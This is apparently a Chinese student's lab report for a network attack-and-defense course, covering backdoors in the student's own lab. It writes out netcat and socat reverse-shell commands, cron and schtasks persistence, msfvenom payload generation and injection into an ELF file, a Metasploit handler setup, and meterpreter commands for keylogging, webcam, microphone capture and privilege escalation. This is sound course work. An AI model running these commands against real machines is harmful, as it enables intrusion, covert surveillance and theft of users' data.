20222302 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
本次实验旨在通过实际操作理解并实践网络攻击中的后门原理,包括使用不同的工具和技术来获取目标主机的操作Shell、执行特定任务、收集敏感信息以及进行权限提升;本次实验需要我们使用nc实现win,mac,Linux间的后门连接:meterpreter的应用、MSF POST模块的应用,实验可以分为以下几个部分:
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
基础问题回答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过恶意软件感染,在浏览一些不安全的网站时,可能会误点击一个看似无害的链接,实际上这个链接会引导下载一个带有恶意软件的文件。
通过社会工程学的方法诱导你打开带有恶意附件的电子邮件。当打开附件时,恶意软件被激活,进而为攻击者打开进入系统的后门通道。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Linux 系统中的 cron 可以设置定时任务。攻击者可以在 cron 配置文件中添加一条任务,指定在系统启动或特定时间执行后门程序。
攻击者可以将后门程序的启动命令添加到这些脚本中,例如在 “/etc/rc.local” 或特定服务的启动脚本中。
Windows系统中攻击者可以创建一个计划任务,设置在系统启动时或特定时间执行后门程序。可以通过 “任务计划程序” 来实现,指定触发条件、操作和参数等。
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter可以在目标系统上执行各种命令,就像在本地终端一样。无论是执行系统命令、操作文件系统还是管理进程,都可以轻松实现。例如,可以查看文件内容、上传和下载文件、启动和停止服务等。同时能够记录目标系统上的键盘输入,获取用户的敏感信息,如用户名、密码、信用卡号等。这对于窃取用户的隐私和获取关键信息非常有效。还可以截取目标系统的屏幕,了解用户的当前活动和界面内容。这对于监控目标系统的使用情况和获取可视化信息非常有用。
(4)如何发现自己有系统有没有被安装后门?
通过任务管理器(Windows)/ 系统监视器(Linux)检查系统进程和服务观察正在运行的进程,查找不熟悉的或可疑的进程名称,检查进程的启动路径和参数,看是否有异常。
安装可靠的杀毒软件和安全防护软件,并定期进行全盘扫描。观察是否有异常的用户行为,如自动弹出窗口、不明的文件操作、密码被更改等。
2.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机的ip
首先关闭主机和虚拟机的防火墙,在windows主机上下载ncat程序,链接为https://gitee.com/wildlinux/NetSec/attach_files
打开cmd,输入ipconfig
指令查看主机的IP地址:
(2)使用netcat进行连接并获取shell
虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 8888
Linux虚机输入指令:nc 192.168.22.82 8888 -e /bin/sh
win主机输入ls
,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
(3)通过设置cron使得kali启动定时任务。
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,输入crontab -e
(执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic
;
输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.22.82 8888 -e /bin/sh
(输入自己主机的IP地址,在每小时的第30分钟启动任务)
编辑好后输入:wq退出文字编辑器,输入crontab -l
查看时程表;
同时在Linux主机中的/var/spool/cron/crontabs
文件中会出现一个root文件。
现在回到Windows主机的cmd中进行操作;
Win主机输入指令:ncat.exe -l -p 8888
;
Linux虚机输入指令:nc 10.168.22.82 8888 -e /bin/sh
;
还是一样与Linux建立连接之后,输入sudo su
,切换到root模式,输入:
echo "* * * * * echo "20222302" > /home/kali/2223_1.txt" > /var/spool/cron/crontabs/root
(每分钟定时执行一次,用“20222302”覆盖文件2223_1.txt)
crontab -l
(检查时程表)
进入Linux虚拟机进入对应路径检查2223_1.txt文件,发现修改成功。
2.使用socat获取主机操作Shell, 任务计划启动
Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。
windows主机:下载socat,cmd进入socat文件夹,输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
Linux虚拟机:进入root用户,输入命令:
socat - tcp:10.168.22.82:8888
回到主机,我们需要事先准备一个程序以供运行;
代码如下;
int main()
{
FILE *file = fopen("lzy.txt","w");
char *str = "20222302";
if(file == NULL)
{
printf("Error opening file\n");
return 1;
}
fprintf(file,"%s",str);
fclose(file);
return 0;
}
文件路径如下;
在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks /create /sc minute /mo 1 /tn "20222302lzy" /tr C:\lzy\lzy.exe
(每一分钟执行一次我写的这个程序:)
回到windows主机,打开计算机管理,看到正在运行的任务名“20222302lzy”,说明实验成功。
3. 在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。
(1)生成后门文件
首先在kali中输入ifconfig
,获得虚拟机的IP地址:
虚拟机的IP地址是192.168.12.129
继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.12.129 LPORT=8888 -f exe > 2302backdoor.exe
(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.12.129
是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888
是攻击者的系统上监听的端口号;
-f exe
指定了生成的 payload 的格式,这里是exe;
2302backdoor.exe即生成的恶意可执行文件;
(2)将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "C:\2302backdoor.exe"
(监听8888窗口等待接收可执行文件2302backdoor.exe,并将2302backdoor.exe文件存放在C盘上)
虚拟机上输入指令:
nc 10.168.22.82 8888 < 2302backdoor.exe
(将生成的后门文件2302backdoor.exe传给主机)
Win主机接收到后门文件2302backdoor.exe,成功在桌面找到文件
(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole
,然后对监听模块进行配置:
use exploit/multi/handler
(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成后门程序时相同的payload)
set LHOST 192.168.12.129
(攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888
(监听的端口)
接着输入exploit
,使监听模块开始运行,并在Windows终端运行后门2302backdoor.exe文件
返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic
(音频)
screenshot
(截屏)
webcam_snap
(拍照)
keyscan_start
(开始读取键盘记录)
keyscan_dump
(读取键盘记录结束)
音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上;
(2)提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid
(查看当前用户)
getsystem
(提权指令)
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali命令行下输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.129
LPORT=8888 -x /lzy/Desktop/pwn20222302 -f elf > 2302_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2302_pwn的文件中。)
对生成的2302_pwn文件赋予权限;
输入指令msfconsole
,重现监听过程;
打开另一个shell,运行生成的2302_pwn文件(需要使用root权限)
回到第一个shell,输入ls确认连接,成功实现远程控制shell;
3.问题及解决方案
问题1:使用虚拟机root账户时发现root密码忘记不能使用
解决方案:按照指导修改root密码后可以使用root账户
问题2:刚开始没关防火墙,导致后门等程序屡被拦截,造成实验困难。
解决方案:关闭防火墙即可
问题3:socat实验中在Windows机cmd端schtasks /create /sc minute /mo 1 /tn "20222302lzy" /tr C:\lzy\lzy.exe
运行错误
解决方案:格式错误,每个指令(如/create,/mo 1等)前都需要附带空格键。
4.学习感悟、思考
本次实验是本课程的第二次实验,本以为凭借实验一打下的基础可以很轻松的完成本次实验,但是发现实验过程中有很多的困难和问题。但是通过不断地搜集资料,认真分析后将问题都转化为原理,从而通过解决问题来实现掌握实验原理。通过本次实验我对netcat、socat、cron、MSF meterpreter等有了基本的了解,学会了使用MSF meterpreter获取音频、摄像头和击键记录等内容,以及通过生成shellcode并注入到易受攻击的程序中。
本次实验让我意识到后门攻击在没有防火墙保护的时候攻击主机易如反掌,网络安全之路任重而道远。